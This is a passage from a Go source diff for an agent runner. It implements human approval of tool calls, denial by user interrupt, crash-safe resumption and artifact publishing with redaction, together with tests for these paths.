"yes": + return ApprovalDecision{Approve: true, Reason: reason, Source: "env"}, nil + default: + if reason == "" { + reason = "denied by AGENTRUNNER_APPROVE sequence" + } + return ApprovalDecision{Approve: false, Reason: reason, Source: "env"}, nil + } +} + +// requestApproval journals the ask (ApprovalRequested + WAITING_APPROVAL) +// and blocks on the resolver. awaitApproval is split out so resume can +// re-enter a parked wait without re-journaling the request. +func (l *Loop) requestApproval(ctx context.Context, ds *driveState, appendE AppendFunc, + eff pipeline.Effect, outcome pipeline.Outcome) (bool, error) { + + req := event.ApprovalRequested{ + ApprovalID: "apr-" + eff.ID, + EffectID: eff.ID, + CallID: eff.CallID, + GateResults: outcome.GateResults, + EstTokens: eff.EstTokens, + } + // Plan approval payload (S5.7): the plan text publishes as a versioned + // artifact BEFORE the request is journaled (blob-before-event), and the + // approval fact pins the exact version ref it adjudicated — a rejected + // plan's revision publishes v2 and the re-approval points there. + if ref, err := l.publishApprovalPayload(eff, appendE); err != nil { + return false, err + } else if ref != "" { + req.PayloadRef = ref + } + if _, err := appendE(event.TypeApprovalRequested, &req); err != nil { + return false, err + } + detail, err := json.Marshal(req) + if err != nil { + return false, err + } + if _, err := appendE(event.TypeWaitingEntered, &event.WaitingEntered{ + Kind: event.WaitApproval, Detail: detail, + }); err != nil { + return false, err + } + return l.awaitApproval(ctx, ds, appendE, req) +} + +// publishApprovalPayload stores an approval's large payload in the +// ArtifactStore (S5.7). Today that is the exit_plan_mode plan text (stream +// "plan"); other asks carry their args inline. Returns "" when there is +// nothing to publish. +func (l *Loop) publishApprovalPayload(eff pipeline.Effect, appendE AppendFunc) (string, error) { + if eff.ToolName != "exit_plan_mode" || l.Artifacts == nil { + return "", nil + } + var args struct { + Plan string `json:"plan"` + } + if err := json.Unmarshal(eff.Args, &args); err != nil || args.Plan == "" { + return "", nil // no plan text: nothing to anchor + } + v, err := l.Artifacts.Publish("plan", []byte(redact.FromEnv().String(args.Plan))) + if err != nil { + return "", err + } + crash.Point(crash.PointAfterBlobBeforeEvent) + if _, err := appendE(event.TypeArtifactPublished, &event.ArtifactPublished{ + Stream: v.Stream, Version: v.Version, Ref: v.Ref, Bytes: v.Bytes, + Source: "approval", + }); err != nil { + return "", err + } + return v.Ref, nil +} + +// awaitApproval races the resolver against a user interrupt. Every exit +// journals: response (external input first), waiting resolution, effect +// resolution. Returns whether the effect may execute. +func (l *Loop) awaitApproval(ctx context.Context, ds *driveState, appendE AppendFunc, + req event.ApprovalRequested) (bool, error) { + + resolver := l.Approvals + if resolver == nil { + resolver = &EnvApprovals{} + } + rctx, rcancel := context.WithCancel(ctx) + defer rcancel() + + type outcome struct { + d ApprovalDecision + err error + } + // The prompt is built HERE, not in the goroutine: ds belongs to the + // drive goroutine, and the interrupt arm mutates it concurrently. + prompt := l.approvalPrompt(ds, req) + ch := make(chan outcome, 1) + go func() { + d, err := resolver.Resolve(rctx, prompt) + ch <- outcome{d, err} + }() + + select { + case out := <-ch: + if out.err != nil { + return false, fmt.Errorf("approval %s: %w", req.ApprovalID, out.err) + } + decision := "deny" + resolution := "denied" + if out.d.Approve { + decision = "approve" + resolution = "approved" + } + if _, err := appendE(event.TypeApprovalResponded, &event.ApprovalResponded{ + ApprovalID: req.ApprovalID, Decision: decision, + Reason: out.d.Reason, Source: out.d.Source, + }); err != nil { + return false, err + } + if _, err := appendE(event.TypeWaitingResolved, &event.WaitingResolved{ + Kind: event.WaitApproval, Resolution: resolution, + }); err != nil { + return false, err + } + return l.resolveEffectAfterApproval(appendE, req, out.d.Approve, out.d.Reason) + + case <-l.Interrupts: + // Denied-by-interrupt (3.5): journal the interrupt (inputs first), + // resolve the approval as a denial, render the call as interrupted, + // and the loop CONTINUES — an interrupt is guidance, not shutdown. + if _, err := appendE(event.TypeInputReceived, &event.InputReceived{ + Text: "[interrupt]", Source: "interrupt", + }); err != nil { + return false, err + } + if _, err := appendE(event.TypeApprovalResponded, &event.ApprovalResponded{ + ApprovalID: req.ApprovalID, Decision: "deny", + Reason: "[interrupted by user]", Source: "interrupt", + }); err != nil { + return false, err + } + if _, err := appendE(event.TypeWaitingResolved, &event.WaitingResolved{ + Kind: event.WaitApproval, Resolution: "denied_by_interrupt", + }); err != nil { + return false, err + } + return l.resolveEffectAfterApproval(appendE, req, false, "[interrupted by user]") + } +} + +func (l *Loop) resolveEffectAfterApproval(appendE AppendFunc, + req event.ApprovalRequested, approved bool, reason string) (bool, error) { + + verdict := event.VerdictDeny + decision := event.VerdictDeny + if approved { + verdict = event.VerdictAllow + decision = event.VerdictAllow + } + results := append(append([]event.GateResult{}, req.GateResults...), event.GateResult{ + Gate: "approval", Decision: decision, Reason: reason, + }) + reserved := 0 + if approved { + reserved = req.EstTokens + } + if _, err := appendE(event.TypeEffectResolved, &event.EffectResolved{ + EffectID: req.EffectID, CallID: req.CallID, + Verdict: verdict, GateResults: results, + ReservedTokens: reserved, + }); err != nil { + return false, err + } + return approved, nil +} + +// approvalPrompt enriches the journaled request with the call's tool name +// and args (recovered from the fold) for display. +func (l *Loop) approvalPrompt(ds *driveState, req event.ApprovalRequested) ApprovalRequest { + out := ApprovalRequest{ + ApprovalID: req.ApprovalID, + CallID: req.CallID, + GateResults: req.GateResults, + } + if l.Spec != nil { + out.Agent = fmt.Sprintf("%s (%s)", l.Spec.Name, l.SessionID) + } + if req.CallID == "" { + return out + } + for _, m := range assistantMessages(ds.s) { + for _, c := range toolCallsOf(m) { + if c.CallID == req.CallID { + out.ToolName = c.Name + out.Args = c.Args + } + } + } + return out +} diff --git a/internal/agent/approval_test.go b/internal/agent/approval_test.go new file mode 100644 index 0000000..532eecb --- /dev/null +++ b/internal/agent/approval_test.go @@ -0,0 +1,530 @@ +package agent + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/hook" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// askEverything makes every edit/execute call require approval. +var askEverything = &pipeline.Pipeline{Gates: []pipeline.Gate{ + policyGate{name: "permission", check: func(eff pipeline.Effect) pipeline.Decision { + if eff.Kind == "tool_call" && (eff.Class == "edit" || eff.Class == "execute") { + return pipeline.Ask(eff.Class + " requires approval") + } + return pipeline.Allow + }}, +}} + +func approvalFixture() scripted.Fixture { + return scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "edit_file", Args: map[string]any{ + "path": "note.txt", "old": "", "new": "hello"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} +} + +// Approve path: the full fact chain lands in order and the effect executes. +func TestApprovalApprovePath(t *testing.T) { + t.Setenv("AGENTRUNNER_APPROVE", "always") + root := t.TempDir() + l := testLoop(t, approvalFixture(), root) + l.Pipeline = askEverything + + res, err := l.Run(context.Background(), "write a note") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v", res) + } + if got, _ := os.ReadFile(filepath.Join(root, "note.txt")); string(got) != "hello" { + t.Fatalf("file = %q — approved effect did not execute", got) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var order []string + for _, e := range events { + switch e.Type { + case event.TypeApprovalRequested, event.TypeWaitingEntered, + event.TypeApprovalResponded, event.TypeWaitingResolved: + order = append(order, e.Type) + case event.TypeEffectResolved: + if strings.Contains(string(e.Payload), "eff-tool-call_1_0") { + order = append(order, e.Type) + } + case event.TypeActivityStarted: + if strings.Contains(string(e.Payload), "tool-call_1_0") { + order = append(order, e.Type) + } + } + } + want := []string{"approval_requested", "waiting_entered", "approval_responded", + "waiting_resolved", "effect_resolved", "activity_started"} + if !equal(order, want) { + t.Fatalf("fact chain = %v, want %v", order, want) + } +} + +// slowApprover approves only after the clock reaches its release time. +type slowApprover struct { + clk clock.Clock + release time.Time +} + +func (a slowApprover) Resolve(ctx context.Context, _ ApprovalRequest) (ApprovalDecision, error) { + if err := a.clk.WaitUntil(ctx, a.release); err != nil { + return ApprovalDecision{}, err + } + return ApprovalDecision{Approve: true, Reason: "finally reviewed", Source: "tty"}, nil +} + +// The PLAN scenario: an approval parked for two days (FakeClock) resumes +// in place and the run completes. +func TestApprovalHangsTwoDaysThenApproved(t *testing.T) { + root := t.TempDir() + l := testLoop(t, approvalFixture(), root) + l.Pipeline = askEverything + fake := clock.NewFake(time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)) + l.Clock = fake + l.Approvals = slowApprover{clk: fake, release: fake.Now().Add(48 * time.Hour)} + + done := make(chan error, 1) + var res RunResult + go func() { + var err error + res, err = l.Run(context.Background(), "write a note") + done <- err + }() + for fake.Waiters() == 0 { + runtime.Gosched() + } + fake.Advance(48 * time.Hour) + if err := <-done; err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + if got, _ := os.ReadFile(filepath.Join(root, "note.txt")); string(got) != "hello" { + t.Fatalf("file = %q", got) + } +} + +// blockingApprover never answers — the interrupt must win. ready (if set) +// is signaled once the resolver is consulted, so a test can send the +// interrupt precisely when the run is parked at the approval. +type blockingApprover struct{ ready chan struct{} } + +func (b blockingApprover) Resolve(ctx context.Context, _ ApprovalRequest) (ApprovalDecision, error) { + if b.ready != nil { + select { + case b.ready <- struct{}{}: + default: + } + } + <-ctx.Done() + return ApprovalDecision{}, ctx.Err() +} + +// Denied-by-interrupt: the approval resolves as a denial, the call renders +// "[interrupted by user]", and the LOOP CONTINUES to completion. +func TestApprovalDeniedByInterrupt(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "edit_file", Args: map[string]any{ + "path": "note.txt", "old": "", "new": "hello"}}}, + {Finish: "tool_use"}, + }}, + { + Expect: scripted.Expect{LastMessageContains: "[interrupted by user]"}, + Respond: []scripted.Event{{Text: "understood, stopping"}, {Finish: "end_turn"}}, + }, + }} + root := t.TempDir() + l := testLoop(t, fix, root) + l.Pipeline = askEverything + ready := make(chan struct{}, 1) + l.Approvals = blockingApprover{ready: ready} + interrupts := make(chan struct{}, 1) + l.Interrupts = interrupts + + done := make(chan error, 1) + var res RunResult + go func() { + var err error + res, err = l.Run(context.Background(), "write a note") + done <- err + }() + <-ready // wait until parked at the approval + interrupts <- struct{}{} // user hits Ctrl-C while the approval is pending + if err := <-done; err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v (interrupt must not end the run)", res) + } + if _, err := os.Stat(filepath.Join(root, "note.txt")); !os.IsNotExist(err) { + t.Fatal("denied effect must not execute") + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var sawInterruptInput, sawDeniedResolution bool + for _, e := range events { + if e.Type == event.TypeInputReceived && strings.Contains(string(e.Payload), "interrupt") { + sawInterruptInput = true + } + if e.Type == event.TypeWaitingResolved && strings.Contains(string(e.Payload), "denied_by_interrupt") { + sawDeniedResolution = true + } + } + if !sawInterruptInput || !sawDeniedResolution { + t.Fatalf("interrupt facts missing (input=%v resolution=%v)", sawInterruptInput, sawDeniedResolution) + } +} + +// The S2 exit gate's owed scenario: killed while parked in +// WAITING_APPROVAL, resumed, approved, and the run continues in place. +func TestApprovalSurvivesCrashThenApproved(t *testing.T) { + if os.Getenv("GO_CRASH_HELPER") == "1" { + helperApprovalRun() + return + } + + base := t.TempDir() + sessDir := filepath.Join(base, "sess") + root := filepath.Join(base, "ws") + if err := os.Mkdir(root, 0o755); err != nil { + t.Fatal(err) + } + + cmd := exec.Command(os.Args[0], "-test.run=TestApprovalSurvivesCrashThenApproved") + cmd.Env = append(os.Environ(), + "GO_CRASH_HELPER=1", + "CRASH_SESS_DIR="+sessDir, + "CRASH_WS="+root, + crash.EnvVar+"=after:waiting_entered:1", // die parked + ) + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("subprocess: err = %v, out = %s", err, out) + } + + // Resume: the parked approval is re-prompted; approve and finish. + t.Setenv("AGENTRUNNER_APPROVE", "always") + es, err := store.OpenEventStore(sessDir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = es.Close() }() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + l := &Loop{ + Spec: approvalSpec(), + Provider: scripted.New(scripted.Fixture{Steps: approvalFixture().Steps[1:]}), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "apr-crash", + Pipeline: askEverything, + } + res, err := l.Resume(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v", res) + } + if got, _ := os.ReadFile(filepath.Join(root, "note.txt")); string(got) != "hello" { + t.Fatalf("file = %q — approved-after-resume effect did not execute", got) + } +} + +func approvalSpec() *AgentSpec { + return &AgentSpec{ + Name: "asker", + Model: ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "s", + Tools: []string{"edit_file"}, + MaxTurns: 5, + } +} + +func helperApprovalRun() { + es, err := store.OpenEventStore(os.Getenv("CRASH_SESS_DIR")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + ws, err := workspace.New(os.Getenv("CRASH_WS")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + l := &Loop{ + Spec: approvalSpec(), + Provider: scripted.New(approvalFixture()), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "apr-crash", + Pipeline: askEverything, + Approvals: blockingApprover{}, + } + _, _ = l.Run(context.Background(), "write a note") + fmt.Println("UNREACHABLE: predicate did not fire") + os.Exit(0) +} + +// The resolution's effect on the transcript: verify via decode, not text +// matching — the denied call renders exactly "[interrupted by user]". +func TestInterruptDenialRendering(t *testing.T) { + m := &memAppend{} + s := stateWithPendingApproval(t, m) + _ = s + var resolved event.EffectResolved + for _, e := range m.events { + if e.Type == event.TypeEffectResolved { + if err := json.Unmarshal(e.Payload, &resolved); err != nil { + t.Fatal(err) + } + } + } + if resolved.Verdict != event.VerdictDeny { + t.Fatalf("resolved = %+v", resolved) + } + last := resolved.GateResults[len(resolved.GateResults)-1] + if last.Gate != "approval" || last.Reason != "[interrupted by user]" { + t.Fatalf("approval gate result = %+v", last) + } +} + +// stateWithPendingApproval drives awaitApproval through the interrupt arm +// against an in-memory journal. +func stateWithPendingApproval(t *testing.T, m *memAppend) *driveState { + t.Helper() + ds := &driveState{s: state.New()} + interrupts := make(chan struct{}, 1) + interrupts <- struct{}{} + l := &Loop{Approvals: blockingApprover{}, Interrupts: interrupts} + appendE := func(typ string, payload any) (event.Envelope, error) { + env, err := m.append(typ, payload) + if err != nil { + return env, err + } + ds.s, err = state.Apply(ds.s, env) + return env, err + } + req := event.ApprovalRequested{ApprovalID: "apr-eff-call_1_0", EffectID: "eff-tool-call_1_0", CallID: "call_1_0"} + allowed, err := l.awaitApproval(context.Background(), ds, appendE, req) + if err != nil || allowed { + t.Fatalf("allowed=%v err=%v", allowed, err) + } + return ds +} + +// Correctness-review #1 regression: an approval parked when the pipeline +// has a REAL side-effecting hook gate must still auto-resume after a crash. +// (The prior test used a hook-less pipeline and hid this.) The pre-hook +// already ran before the permission gate's Ask, so the parked effect is +// NOT in-doubt. +func TestApprovalWithHooksSurvivesCrash(t *testing.T) { + if os.Getenv("GO_CRASH_HELPER") == "1" { + helperHookedApprovalRun() + return + } + base := t.TempDir() + sessDir := filepath.Join(base, "sess") + root := filepath.Join(base, "ws") + if err := os.Mkdir(root, 0o755); err != nil { + t.Fatal(err) + } + + cmd := exec.Command(os.Args[0], "-test.run=TestApprovalWithHooksSurvivesCrash") + cmd.Env = append(os.Environ(), + "GO_CRASH_HELPER=1", "CRASH_SESS_DIR="+sessDir, "CRASH_WS="+root, + crash.EnvVar+"=after:waiting_entered:1") + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("subprocess: err = %v, out = %s", err, out) + } + + t.Setenv("AGENTRUNNER_APPROVE", "always") + l := hookedApprovalLoop(t, sessDir, root) + defer func() { _ = l.Store.Close() }() + res, err := l.Resume(context.Background()) + if err != nil { + t.Fatalf("parked approval with hooks must auto-resume, got: %v", err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v", res) + } + if got, _ := os.ReadFile(filepath.Join(root, "note.txt")); string(got) != "hello" { + t.Fatalf("file = %q — approved-after-resume effect did not execute", got) + } +} + +func hookedApprovalLoop(t *testing.T, sessDir, root string) *Loop { + t.Helper() + es, err := store.OpenEventStore(sessDir) + if err != nil { + t.Fatal(err) + } + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + runner := &hook.Runner{PreTool: []string{"true"}, Dir: root} // side-effecting gate, always allows + steps := approvalFixture().Steps + if os.Getenv("GO_CRASH_HELPER") != "1" { + steps = steps[1:] // resume: only the remaining turn + } + return &Loop{ + Spec: approvalSpec(), + Provider: scripted.New(scripted.Fixture{Steps: steps}), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "hooked-apr", + Pipeline: &pipeline.Pipeline{Gates: []pipeline.Gate{ + &hook.Gate{Runner: runner}, + &pipeline.PermissionGate{Rules: []pipeline.PermissionRule{{Tool: "edit_file", Action: "ask"}}, WS: ws}, + }}, + Hooks: runner, + Approvals: &EnvApprovals{}, + } +} + +func helperHookedApprovalRun() { + es, err := store.OpenEventStore(os.Getenv("CRASH_SESS_DIR")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + ws, err := workspace.New(os.Getenv("CRASH_WS")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + runner := &hook.Runner{PreTool: []string{"true"}, Dir: os.Getenv("CRASH_WS")} + l := &Loop{ + Spec: approvalSpec(), + Provider: scripted.New(approvalFixture()), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "hooked-apr", + Pipeline: &pipeline.Pipeline{Gates: []pipeline.Gate{ + &hook.Gate{Runner: runner}, + &pipeline.PermissionGate{Rules: []pipeline.PermissionRule{{Tool: "edit_file", Action: "ask"}}, WS: ws}, + }}, + Hooks: runner, + Approvals: blockingApprover{}, + } + _, _ = l.Run(context.Background(), "write a note") + fmt.Println("UNREACHABLE") + os.Exit(0) +} + +// Correctness-review #3 regression: a crash between ApprovalResponded and +// EffectResolved must NOT re-ask — the human answer is durable from the +// moment ApprovalResponded is journaled (folded into Effects.Decisions). +func TestApprovalDecisionDurableAcrossResolveGap(t *testing.T) { + if os.Getenv("GO_CRASH_HELPER") == "1" { + // Approve (env=always), crash right after ApprovalResponded lands. + es, err := store.OpenEventStore(os.Getenv("CRASH_SESS_DIR")) + if err != nil { + os.Exit(1) + } + ws, _ := workspace.New(os.Getenv("CRASH_WS")) + l := &Loop{ + Spec: approvalSpec(), Provider: scripted.New(approvalFixture()), + Exec: &tool.Executor{WS: ws}, Store: es, SessionID: "gap", + Pipeline: askEverything, + Approvals: &EnvApprovals{}, + } + _, _ = l.Run(context.Background(), "write a note") + os.Exit(0) + } + + base := t.TempDir() + sessDir := filepath.Join(base, "sess") + root := filepath.Join(base, "ws") + if err := os.Mkdir(root, 0o755); err != nil { + t.Fatal(err) + } + + t.Setenv("AGENTRUNNER_APPROVE", "always") + cmd := exec.Command(os.Args[0], "-test.run=TestApprovalDecisionDurableAcrossResolveGap") + cmd.Env = append(os.Environ(), + "GO_CRASH_HELPER=1", "CRASH_SESS_DIR="+sessDir, "CRASH_WS="+root, + "AGENTRUNNER_APPROVE=always", + crash.EnvVar+"=after:approval_responded:1") // die right after the human answer + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("subprocess: err = %v, out = %s", err, out) + } + + // Resume with a resolver that FAILS if consulted — proving no re-ask. + es, err := store.OpenEventStore(sessDir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = es.Close() }() + ws, _ := workspace.New(root) + l := &Loop{ + Spec: approvalSpec(), + Provider: scripted.New(scripted.Fixture{Steps: approvalFixture().Steps[1:]}), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "gap", + Pipeline: askEverything, + Approvals: mustNotAskResolver{t}, + } + res, err := l.Resume(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + if got, _ := os.ReadFile(filepath.Join(root, "note.txt")); string(got) != "hello" { + t.Fatalf("file = %q — approved effect did not execute after resume", got) + } +} + +type mustNotAskResolver struct{ t *testing.T } + +func (m mustNotAskResolver) Resolve(context.Context, ApprovalRequest) (ApprovalDecision, error) { + m.t.Fatal("resolver consulted on resume — the durable decision was re-asked") + return ApprovalDecision{}, nil +} diff --git a/internal/agent/artifact.go b/internal/agent/artifact.go new file mode 100644 index 0000000..79ee8eb --- /dev/null +++ b/internal/agent/artifact.go @@ -0,0 +1,135 @@ +package agent + +import ( + "context" + "encoding/json" + "fmt" + "os" + "path/filepath" + + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/redact" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" +) + +// ensureArtifacts opens the tree-shared artifact store at the root session +// (S5.5); children inherit through childLoop, so refs resolve tree-wide. +func (l *Loop) ensureArtifacts() error { + if l.Artifacts != nil || l.Store == nil { + return nil + } + a, err := store.OpenArtifactStore(l.Store.Dir() + "/artifacts") + if err != nil { + return err + } + l.Artifacts = a + return nil +} + +// materializeInputs writes the run's artifact inputs into the workspace +// (S5.8) as ONE idempotent activity — Started/terminal journaled like any +// side effect, so resume sees whether it happened (fold Run.Materialized) +// and can safely re-run it when it did not (same refs → same bytes). +func (l *Loop) materializeInputs(ctx context.Context, ds *driveState, appendE AppendFunc) error { + inputs := ds.s.Run.Inputs + if len(inputs) == 0 || ds.s.Run.Materialized { + return nil + } + if l.Artifacts == nil || l.Exec == nil || l.Exec.WS == nil { + return fmt.Errorf("materialize: run has artifact inputs but no artifact store/workspace") + } + // Every input write is an EDIT-class effect through the pipeline (PLAN + // S5.8 "过管线,可审计"; S5 review): a path-scoped deny rule must bind a + // write that arrives via spawn inputs exactly like one via edit_file. + // This is pre-turn harness work, so a denial fails the run closed. + for i, in := range inputs { + args, _ := json.Marshal(map[string]string{"path": in.Path, "ref": in.Ref}) + eff := pipeline.Effect{ + ID: fmt.Sprintf("eff-materialize-%d", i), Kind: "tool_call", + ToolName: "materialize", Class: string(tool.ClassEdit), + Args: args, Mode: ds.s.CurrentMode(), + Budget: budgetView(ds.s), + } + outcome, allowed, err := l.adjudicate(ctx, ds, appendE, eff) + if err != nil { + return err + } + if !allowed { + return fmt.Errorf("materialize %s: denied by %s", in.Path, denyingGate(outcome)) + } + } + exec := &ActivityExecutor{Append: appendE, Clock: l.Clock, Redact: redact.FromEnv()} + return exec.Do(ctx, Activity{ + ID: "materialize", Kind: event.KindTool, Name: "materialize", + Idempotent: true, + Run: func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + var written []string + for _, in := range inputs { + content, err := l.Artifacts.Get(in.Ref) + if err != nil { + return nil, nil, false, fmt.Errorf("materialize %s: %w", in.Path, err) + } + dest, err := l.Exec.WS.Resolve(in.Path) + if err != nil { + return nil, nil, false, fmt.Errorf("materialize %s: %w", in.Path, err) + } + if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { + return nil, nil, false, err + } + if err := os.WriteFile(dest, content, 0o644); err != nil { + return nil, nil, false, err + } + written = append(written, in.Path) + } + payload, _ := json.Marshal(map[string]any{"materialized": written}) + return payload, nil, false, nil + }, + }) +} + +// buildPublishRun is publish_artifact's Run closure (S5.5). Ordering is the +// invariant: the blob and manifest are DURABLE (fsynced) before the +// ArtifactPublished fact is journaled — a ref in the log always resolves; a +// crash in between leaves an orphan blob, never a dangling ref. appendE is +// the batch-serialized appender (the closure runs on an activity goroutine). +func (l *Loop) buildPublishRun(call provider.ToolCall, res *tool.Result, + appendE AppendFunc) func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + + return func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + var args struct { + Stream string `json:"stream"` + Content string `json:"content"` + } + if err := json.Unmarshal(call.Args, &args); err != nil || args.Stream == "" || args.Content == "" { + *res = errorResult("publish_artifact: invalid args: need {\"stream\", \"content\"}") + return res.Payload, nil, true, nil + } + if l.Artifacts == nil { + *res = errorResult("publish_artifact: no artifact store in this run") + return res.Payload, nil, true, nil + } + // Artifact blobs are a durable session-tier sink like the journal: + // model output passes credential redaction before persisting (S5 + // review — the CAS must not be the one unredacted tier). + v, err := l.Artifacts.Publish(args.Stream, []byte(redact.FromEnv().String(args.Content))) + if err != nil { + return nil, nil, false, err // harness failure (disk), not model-visible + } + crash.Point(crash.PointAfterBlobBeforeEvent) + if _, err := appendE(event.TypeArtifactPublished, &event.ArtifactPublished{ + Stream: v.Stream, Version: v.Version, Ref: v.Ref, Bytes: v.Bytes, + Source: "tool", + }); err != nil { + return nil, nil, false, err + } + payload, _ := json.Marshal(map[string]any{ + "output": "published", "stream": v.Stream, "version": v.Version, "ref": v.Ref, + }) + *res = tool.Result{Payload: payload} + return res.Payload, nil, false, nil + } +} diff --git a/internal/agent/artifact_test.go b/internal/agent/artifact_test.go new file mode 100644 index 0000000..6a64f6f --- /dev/null +++ b/internal/agent/artifact_test.go @@ -0,0 +1,219 @@ +package agent + +import ( + "context" + "errors" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// S5.5 e2e: publish_artifact writes the blob, journals ArtifactPublished, +// versions accumulate per stream, and the fold tracks the latest version. +func TestPublishArtifactEndToEnd(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "a1", Name: "publish_artifact", + Args: map[string]any{"stream": "report", "content": "draft body"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "a2", Name: "publish_artifact", + Args: map[string]any{"stream": "report", "content": "final body"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.Tools = append(l.Spec.Tools, "publish_artifact") + + res, err := l.Run(context.Background(), "publish twice") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var published []*event.ArtifactPublished + for _, e := range events { + if e.Type == event.TypeArtifactPublished { + dec, _ := event.DecodePayload(e) + published = append(published, dec.(*event.ArtifactPublished)) + } + } + if len(published) != 2 || published[0].Version != 1 || published[1].Version != 2 { + t.Fatalf("published = %+v", published) + } + // Every journaled ref RESOLVES (blob-before-event invariant, read side). + for _, p := range published { + content, err := l.Artifacts.Get(p.Ref) + if err != nil { + t.Fatalf("journaled ref %s does not resolve: %v", p.Ref, err) + } + if p.Version == 2 && string(content) != "final body" { + t.Errorf("v2 content = %q", content) + } + } + // The fold tracks the stream's latest version (S5.6's contract input). + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if fold.Run.Published["report"] != 2 { + t.Errorf("fold published = %+v", fold.Run.Published) + } +} + +// S5.5 hard line: a crash between blob write and event append leaves an +// orphan blob and a CLEAN journal — never a journaled ref without a blob. +// Subprocess arms the injection point; the parent asserts both sides. +func TestPublishArtifactCrashBetweenBlobAndEvent(t *testing.T) { + if os.Getenv("GO_ARTIFACT_CRASH_HELPER") == "1" { + helperArtifactCrashRun() + return + } + base := t.TempDir() + sessDir := filepath.Join(base, "sess") + wsDir := filepath.Join(base, "ws") + if err := os.Mkdir(wsDir, 0o755); err != nil { + t.Fatal(err) + } + + cmd := exec.Command(os.Args[0], "-test.run=TestPublishArtifactCrashBetweenBlobAndEvent") + cmd.Env = append(os.Environ(), + "GO_ARTIFACT_CRASH_HELPER=1", + "ARTIFACT_CRASH_SESS="+sessDir, + "ARTIFACT_CRASH_WS="+wsDir, + crash.EnvVar+"=point:"+crash.PointAfterBlobBeforeEvent, + ) + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("subprocess: err = %v, out = %s", err, out) + } + + // The blob IS durable (orphan)… + arts, err := store.OpenArtifactStore(filepath.Join(sessDir, "artifacts")) + if err != nil { + t.Fatal(err) + } + latest, ok, err := arts.Latest("report") + if err != nil || !ok { + t.Fatalf("blob/manifest must be durable before the crash: %+v, %v, %v", latest, ok, err) + } + if content, err := 